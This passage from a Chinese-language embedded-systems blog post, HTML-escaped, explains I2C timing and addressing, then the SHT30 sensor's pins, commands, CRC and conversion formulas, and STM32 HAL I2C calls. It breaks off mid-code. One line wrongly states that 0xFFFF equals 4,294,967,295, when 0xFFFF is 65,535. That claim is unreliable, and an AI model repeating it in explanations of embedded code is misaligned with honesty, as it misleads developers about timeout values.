1bit读写标志\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e注:1bit读写标志中,0-发送数据(写),1-请求数据(读)\u003c/p\u003e\u003cp\u003e有些时候一个总线上可能需要挂多个同一芯片,这样有些芯片还需要引出一个或几个引脚,由开发板设计电路来决定其具体地址,从而让不同芯片具有不同的7bit物理地址。\u003c/p\u003e\u003ch3 id=\"I2C通信时序\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#I2C%E9%80%9A%E4%BF%A1%E6%97%B6%E5%BA%8F\" class=\"headerlink\" title=\"I2C通信时序\"\u003e\u003c/a\u003eI2C通信时序\u003c/h3\u003e\u003cp\u003e在I2C总线上传送的每一位数据都由一个同步时钟脉冲相对应,即在SCL串行时钟的配合下,数据在SDA上从高位向低位依次串行传送每一位的数据。IIC通信时序图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/13.webp\" style=\"zoom:80%;\"/\u003e\u003ch4 id=\"(1)起始位\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89%E8%B5%B7%E5%A7%8B%E4%BD%8D\" class=\"headerlink\" title=\"(1)起始位\"\u003e\u003c/a\u003e(1)起始位\u003c/h4\u003e\u003cp\u003eI2C总线在空闲时SDA和SCL都处于高电平状态(由上拉电阻拉成高电平),当主设备要开始一次I2C通信时就发送一个START(S)信号,这个起始位就可以告诉所有I2C从机, “我”要开始进行I2C通信了;当要结束一次I2C通信时,则发送一个STOP信号结束本次通信。\u003c/p\u003e\u003cp\u003eSTART(S):当SCL保持高电平时候,SDA出现下降沿,产生一个起始位,注意SCL一定要在高电平。\u003cbr/\u003eSTOP( P ):当SCL保持高电平时候,SDA出现上升沿,产生一个停止位,注意SCL一定要在高电平。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/14.webp\" style=\"zoom: 67%;\"/\u003e\u003ch4 id=\"(2)读写地址\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89%E8%AF%BB%E5%86%99%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"(2)读写地址\"\u003e\u003c/a\u003e(2)读写地址\u003c/h4\u003e\u003cp\u003e主机在发送START信号之后,第2个时序应该立刻给出要通信的目标从机物理地址。此外,I2C总线是一种能够实现半双工通信的同步串行通信协议,站在主设备的角度来看应该具有读/写从设备的功能。\u003c/p\u003e\u003cp\u003e这时候I2C的读写地址除了7bit物理地址以外,还有1bit用来标识读/写方向位。这样I2C的从设备读写地址通常是一个字节,其中高7bit是上面描述的物理地址,最低位用来表示读写方向(0为写操作, 1为读操作)\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/15.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"(3)I2C应答信号\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%883%EF%BC%89I2C%E5%BA%94%E7%AD%94%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"(3)I2C应答信号\"\u003e\u003c/a\u003e(3)I2C应答信号\u003c/h4\u003e\u003cp\u003e主机往I2C总线上传输器件地址,所有的从机接收到这个地址后与自己的地址相比较若相同则发出一个应答ACK(Acknowledge)信号,主机收到这个应答信号后通讯连接建立成功,若未收到应答信号则表示寻址失败。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/16.webp\" style=\"zoom: 67%;\"/\u003e\u003cp\u003e此外,主/从机在之后的数据通信中,数据接收方(可能是主机也可能是从机)收到传输的一个字节数据后,需要给出响应,此时处在第九个时钟,发送端释放SDA线控制权,将SDA电平拉高,由接收方控制。\u003c/p\u003e\u003cul\u003e\u003cli\u003e若希望继续,则给出“应答(ACK, Acknowledge)”信号,即SDA为低电平\u003c/li\u003e\u003cli\u003e若不希望继续,则给出“非应答(NACK,Not Acknowledge) ”信号,即SDA为高电平\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"(4)数据位发送与接收\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%884%EF%BC%89%E6%95%B0%E6%8D%AE%E4%BD%8D%E5%8F%91%E9%80%81%E4%B8%8E%E6%8E%A5%E6%94%B6\" class=\"headerlink\" title=\"(4)数据位发送与接收\"\u003e\u003c/a\u003e(4)数据位发送与接收\u003c/h4\u003e\u003cp\u003e主机在收到从机的应答信号之后,开始给从机发送数据。SDA数据线上的每个字节必须是8位,每次传输的字节数量没有限制,每个字节发送完成之后,从机必须跟一个应答信号。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/17.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003eI2C总线通信时数据位传输采用MSB(最高位优先)方式发送,其中高电平表示数据位1,低电平表示数据位0。\u003c/p\u003e\u003cp\u003e当传输的数据位需要改变时(如上一个位发送的是1,下一个位要发送0),必须发生在SCL为低电平期间。另外在传输过程中, SDA上的数据位在SCL高电平期间必须保持稳定不变。\u003c/p\u003e\u003cp\u003e假设SCL在高电平,想一下是不是就会触发起始位或者终止位。想一想起始信号与停止信号是怎么发送的就会明白为什么SCL一定要在高电平才能改变SDA。\u003c/p\u003e\u003ch3 id=\"I2C协议主机收发数据流程\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#I2C%E5%8D%8F%E8%AE%AE%E4%B8%BB%E6%9C%BA%E6%94%B6%E5%8F%91%E6%95%B0%E6%8D%AE%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"I2C协议主机收发数据流程\"\u003e\u003c/a\u003eI2C协议主机收发数据流程\u003c/h3\u003e\u003ch4 id=\"(1)主机发送数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89%E4%B8%BB%E6%9C%BA%E5%8F%91%E9%80%81%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"(1)主机发送数据\"\u003e\u003c/a\u003e(1)主机发送数据\u003c/h4\u003e\u003cp\u003e主机在检测到总线为“空闲状态”(即 SDA、SCL 线均为高电平)时,发送一个启动信号“S”,开始一次通信的开始;\u003c/p\u003e\u003cp\u003e主机接着发送一个从设备地址,它由7bit物理地址和1bit读写控制位R/W组成(此时R/W=0);\u003cbr/\u003e相对应的从机收到命令字节后向主机回馈应答信号 ACK(ACK=0);\u003c/p\u003e\u003cp\u003e主机收到从机的应答信号后开始发送第一个字节的数据;\u003c/p\u003e\u003cp\u003e从机收到数据后返回一个应答信号 ACK;\u003c/p\u003e\u003cp\u003e主机收到应答信号后再发送下一个数据字节;\u003c/p\u003e\u003cp\u003e当主机发送最后一个数据字节并收到从机的 ACK 后,通过向从机发送一个停止信号P结束本次通信并释放总线。从机收到P信号后也退出与主机之间的通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/18.webp\" style=\"zoom:67%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机通过发送地址码与对应的从机建立了通信关系,而挂接在总线上的其它从机虽然同时也收到了地址码,但因为与其自身的地址不相符合,因此提前退出与主机的通信;\u003c/li\u003e\u003cli\u003e主机的一次发送通信,其发送的数据数量不受限制。主机是通过 P 信号通知发送的结束,从机收到 P 信号后退出本次通信;\u003c/li\u003e\u003cli\u003e主机的每一次发送后都是通过从机的 ACK 信号了解从机的接收状况,如果应答错误则重发。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch4 id=\"(2)主机接收数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89%E4%B8%BB%E6%9C%BA%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"(2)主机接收数据\"\u003e\u003c/a\u003e(2)主机接收数据\u003c/h4\u003e\u003cul\u003e\u003cli\u003e主机发送起始信号后,接着发送地址字节(其中R/W=1);\u003c/li\u003e\u003cli\u003e对应的从机收到地址字节后,返回一个应答信号并向主机发送数据;\u003c/li\u003e\u003cli\u003e主机收到数据后向从机反馈一个应答信号ACK;\u003c/li\u003e\u003cli\u003e从机收到应答信号后再向主机发送下一个数据;\u003c/li\u003e\u003cli\u003e当主机完成接收数据后,向从机发送一个NAK,从机收到非应答信号后便停止发送;\u003c/li\u003e\u003cli\u003e主机发送非应答信号后,再发送一个停止信号,释放总线结束通信。\u003c/li\u003e\u003c/ul\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/19.webp\" style=\"zoom:67%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机所接收数据的数量是由主机自身决定,当发送“非应答信号NAK”时从机便结束传送并释放总线。\u003c/li\u003e\u003cli\u003e非应答信号的两个作用:前一个数据接收成功,停止从机的再次发送。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch2 id=\"SHT30-温湿度传感器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30-%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8\" class=\"headerlink\" title=\"SHT30 温湿度传感器\"\u003e\u003c/a\u003eSHT30 温湿度传感器\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)睡醒再写……\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eSHT3X数据手册下载: \u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"SHT30简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"SHT30简介\"\u003e\u003c/a\u003eSHT30简介\u003c/h3\u003e\u003cp\u003eSHT30数字温湿度传感器采用业内知名的瑞士Sensirion公司推出的新一代SHT30温湿度传感器芯片,它能够提供极高的可靠性和出色的长期稳定性,具有功耗低、反应快、抗干扰能力强等优点。IIC通讯,兼容3.3V/5V,可以非常容易的集成到智能楼宇、天气站、仓库存储、养殖、孵化等应用场景中,其中小米的温湿度传感器使用的也是SHT30。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/index.webp\" style=\"zoom: 50%;\"/\u003e\u003cul\u003e\u003cli\u003e高精度,内部自动校准,数字输出\u003c/li\u003e\u003cli\u003e低功耗、响应速度快、抗干扰能力强\u003c/li\u003e\u003cli\u003e兼容3.3V/5V控制器\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"SHT30工作原理\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"SHT30工作原理\"\u003e\u003c/a\u003eSHT30工作原理\u003c/h3\u003e\u003cp\u003eSHT30 芯片有八个引脚,利用I2C进行数据传输,具有两个可选地址,宽电源电压从2.4V到5.5V。下面是引脚说明:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e管脚\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e备注\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eSDA\u003c/td\u003e\u003ctd\u003eI2C数据引脚,输入/输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eADDR\u003c/td\u003e\u003ctd\u003e地址引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003eALENT\u003c/td\u003e\u003ctd\u003e报警引脚,输出;\u003cstrong\u003e不使用时悬空\u003c/strong\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e4\u003c/td\u003e\u003ctd\u003eSCL\u003c/td\u003e\u003ctd\u003eI2C时钟引脚,输入/输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e5\u003c/td\u003e\u003ctd\u003eVDD\u003c/td\u003e\u003ctd\u003e电源引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e6\u003c/td\u003e\u003ctd\u003enRESET\u003c/td\u003e\u003ctd\u003e复位引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e7\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e无用引脚,接地\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e8\u003c/td\u003e\u003ctd\u003eVSS\u003c/td\u003e\u003ctd\u003e接地引脚\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT30地址选择\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E5%9C%B0%E5%9D%80%E9%80%89%E6%8B%A9\" class=\"headerlink\" title=\"SHT30地址选择\"\u003e\u003c/a\u003eSHT30地址选择\u003c/h4\u003e\u003cp\u003eSHT3x有两个地址,可以将\u003ccode\u003eADDR\u003c/code\u003e接到不同电平进行切换:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eSHT3x-DIS\u003c/th\u003e\u003cth\u003eI2C地址\u003c/th\u003e\u003cth\u003e条件\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eI2C地址A\u003c/td\u003e\u003ctd\u003e0x44(默认)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e低\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI2C地址B\u003c/td\u003e\u003ctd\u003e0x45\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e高\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT3x电路图\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT3x%E7%94%B5%E8%B7%AF%E5%9B%BE\" class=\"headerlink\" title=\"SHT3x电路图\"\u003e\u003c/a\u003eSHT3x电路图\u003c/h4\u003e\u003cp\u003e因为是开漏,所以记得将\u003ccode\u003eSDA\u003c/code\u003e,\u003ccode\u003eSCL\u003c/code\u003e两个引脚拉高。(因为直接买的模块,所以就不用操心了。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/20.webp\" alt=\"电路图\" style=\"zoom:67%;\"/\u003e\u003ch3 id=\"SHT30数据采集\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86\" class=\"headerlink\" title=\"SHT30数据采集\"\u003e\u003c/a\u003eSHT30数据采集\u003c/h3\u003e\u003cp\u003eSHT3x有单次测量命令数据采集模式和周期性测量命令数据采集模式,这里选择\u003cstrong\u003e周期性测量命令数据采集模式\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"定期数据采集模式的测量命令\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%AE%9A%E6%9C%9F%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86%E6%A8%A1%E5%BC%8F%E7%9A%84%E6%B5%8B%E9%87%8F%E5%91%BD%E4%BB%A4\" class=\"headerlink\" title=\"定期数据采集模式的测量命令\"\u003e\u003c/a\u003e定期数据采集模式的测量命令\u003c/h4\u003e\u003cp\u003e在这种模式下,一个发出的测量命令会产生一个数据对流。每个数据对由一个16位温度值和一个16位湿度值(按此顺序)组成。在周期模式下,可以选择不同的测量命令。对应的16位命令如表9所示。它们在可重复性(低、中、高)和数据采集频率(每秒0.5、1、2、4和10次测量值,mps)方面存在差异。在此模式下不能选择时钟拉伸。数据采集频率和可重复性设置会影响传感器的测量持续时间和电流消耗。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/21.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e根据表格的通信时序,主机发送起始信号,然后发送从机地址加写指令命令,等待从机应答,再发送命令的高位(MSB),等待从机应答,再发送命令的低位(LSB)。\u003c/p\u003e\u003ch4 id=\"周期模式下测量结果的读数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%91%A8%E6%9C%9F%E6%A8%A1%E5%BC%8F%E4%B8%8B%E6%B5%8B%E9%87%8F%E7%BB%93%E6%9E%9C%E7%9A%84%E8%AF%BB%E6%95%B0\" class=\"headerlink\" title=\"周期模式下测量结果的读数\"\u003e\u003c/a\u003e周期模式下测量结果的读数\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e读数据的命令是: \u003ccode\u003e0xE000\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/22.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e读数可以通过上表所示的命令启动。如果没有测量数据,I2C读取头用NACK而不是ACK(表中的位9)响应,通信停止。\u003c/p\u003e\u003cp\u003e空白的数据块是由32发送,黑色的数据块是由SHT30发送。\u003c/p\u003e\u003cp\u003e根据表中的通信时序,获取SHT30的温湿度数据,获取到的是16位的温度值和16位的湿度值,温度和湿度后都有CRC-8校验。\u003c/p\u003e\u003ch4 id=\"SHT30复位\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E5%A4%8D%E4%BD%8D\" class=\"headerlink\" title=\"SHT30复位\"\u003e\u003c/a\u003eSHT30复位\u003c/h4\u003e\u003cp\u003eSHT30的系统复位有两种方式,一种是发出命令(软重置),一种是通过外部向专用复位引脚(\u003ccode\u003enRESET\u003c/code\u003e)发送脉冲。我们选择\u003cstrong\u003e软重置\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e软重置的命令是: \u003ccode\u003e0x30A2\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/23.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"差错校验\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%B7%AE%E9%94%99%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"差错校验\"\u003e\u003c/a\u003e差错校验\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e \u003cdel\u003e(原理进行一个参考链接的抄)\u003c/del\u003e\u003c/p\u003e\u003cp\u003eCRC覆盖了先前传输的两个数据字节的内容。 为了计算校验和,仅使用这两个先前发送的数据字节。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/24.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"温湿度转换\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E6%B8%A9%E6%B9%BF%E5%BA%A6%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cp\u003e测量数据始终以 16 位值(无符号整数)形式传输。 这些值已经线性化并补偿了温度和电源电压的影响。 可以使用以下公式将这些原始值转换为物理标度。\u003c/p\u003e\u003cp\u003e相对湿度换算公式(结果以%RH为单位):\u003c/p\u003e\u003cp\u003e$$RH=100\\times \\frac{S_{RH}}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e温度换算公式(结果以 °C 和 °F 为单位):\u003c/p\u003e\u003cp\u003e$$T[°C]=-45+175\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$$T[°F]=-49+315\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$S_{RH}$ 和 $S_{T}$ 分别表示湿度和温度的原始传感器输出。 仅当$S_{RH}$ 和 $S_{T}$ 以十进制表示形式使用时,这些公式才能正确工作。\u003c/p\u003e\u003ch2 id=\"代码驱动SHT30\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E4%BB%A3%E7%A0%81%E9%A9%B1%E5%8A%A8SHT30\" class=\"headerlink\" title=\"代码驱动SHT30\"\u003e\u003c/a\u003e代码驱动SHT30\u003c/h2\u003e\u003cp\u003e首先使用 STM32CubeMX进行一些常规配置,时钟,调试选项……\u003c/p\u003e\u003cp\u003e然后配置串口: \u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e在I2C2中选择I2C,打开硬件I2C。\u003c/p\u003e\u003ch3 id=\"HAL库中I2C发送接收数据函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#HAL%E5%BA%93%E4%B8%ADI2C%E5%8F%91%E9%80%81%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"HAL库中I2C发送接收数据函数\"\u003e\u003c/a\u003eHAL库中I2C发送接收数据函数\u003c/h3\u003e\u003ch4 id=\"(1)HAL-I2C-Master-Transmit\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89HAL-I2C-Master-Transmit\" class=\"headerlink\" title=\"(1)HAL_I2C_Master_Transmit()\"\u003e\u003c/a\u003e(1)HAL_I2C_Master_Transmit()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC发送数据,主机需要将数据通过IIC发送过去\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e参数介绍:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e*hi2c\u003c/code\u003e 设置使用的是那个IIC\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDevAddress\u003c/code\u003e 写入的地址,设置写入数据的地址\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*pData\u003c/code\u003e 需要写入的数据\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSize\u003c/code\u003e 要发送的字节数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eTimeout\u003c/code\u003e 最大传输时间,超过传输时间将自动退出传输函数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解():\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_WR\u003c/code\u003e:我们宏定义了写的地址,传写的地址\u003ccode\u003e#define SHT30_ADDR_WR (SHT30_ADDR\u0026lt;\u0026lt;1)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e(uint8_t*)buf\u003c/code\u003e:我们将需要传的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003e2\u003c/code\u003e:传\u003ccode\u003e2\u003c/code\u003e个字节,\u003ccode\u003e16\u003c/code\u003e个位\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"HAL-I2C-Master-Receive\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#HAL-I2C-Master-Receive\" class=\"headerlink\" title=\"HAL_I2C_Master_Receive()\"\u003e\u003c/a\u003eHAL_I2C_Master_Receive()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC接收数据,从机发送给主机,主机需要将数据通过IIC接收\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数参数和HAL_I2C_Master_Transmit()大概是一样的,只是取到的数据保存在pData中。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解():\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_DATA_SIZE\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan 